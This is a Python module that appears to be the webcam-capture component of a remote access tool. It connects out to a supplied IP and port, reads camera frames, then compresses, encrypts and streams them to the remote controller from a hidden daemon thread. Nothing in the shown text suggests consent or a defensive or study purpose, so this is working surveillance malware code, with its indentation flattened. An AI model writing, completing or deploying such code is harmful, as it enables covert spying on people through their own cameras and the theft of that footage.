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import threading
import socket
import pickle
import zlib
import time
import cv2
from foreign.parse.crash_exception_handling import *
from foreign.global_state import *
@crash_exception_handling
def cam_action(ip, port, monitor, fps):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
headersize = state['settings']['headersize']
encryption = state['settings']['encryption']
encoding = state['settings']['encoding']
mode = [True, 0, b'']
cam = cv2.VideoCapture(monitor)
while True:
last_time = time.time()
client_msg = s.recv(81920)
if mode[0]:
mode[1] = int(client_msg[:headersize])
mode[0] = False
mode[2] += client_msg
if len(mode[2])-headersize == mode[1]:
check, frame = cam.read()
if not check:
cam.release()
raise Exception('No cam')
if fps:
cv2.putText(frame, f'{1.0 / (time.time() - last_time):.2f}', (10, 25), cv2.FONT_HERSHEY_SIMPLEX, 0.8, (0, 0, 0), 2)
frame = pickle.dumps(frame)
frame = zlib.compress(frame, 9)
frame = encryption.do_encrypt(frame)
final_msg = bytes(f'{len(frame):<{headersize}}', encoding) + frame
s.send(final_msg)
mode = [True, 0, b'']
def cam(ip, port, monitor, fps):
threading.Thread(target=cam_action, args=(ip, port, monitor, fps), daemon=True).start()
return {'message': 'Cam thread started', 'text_mode': 'primary', 'text_extras': {'point': True}}
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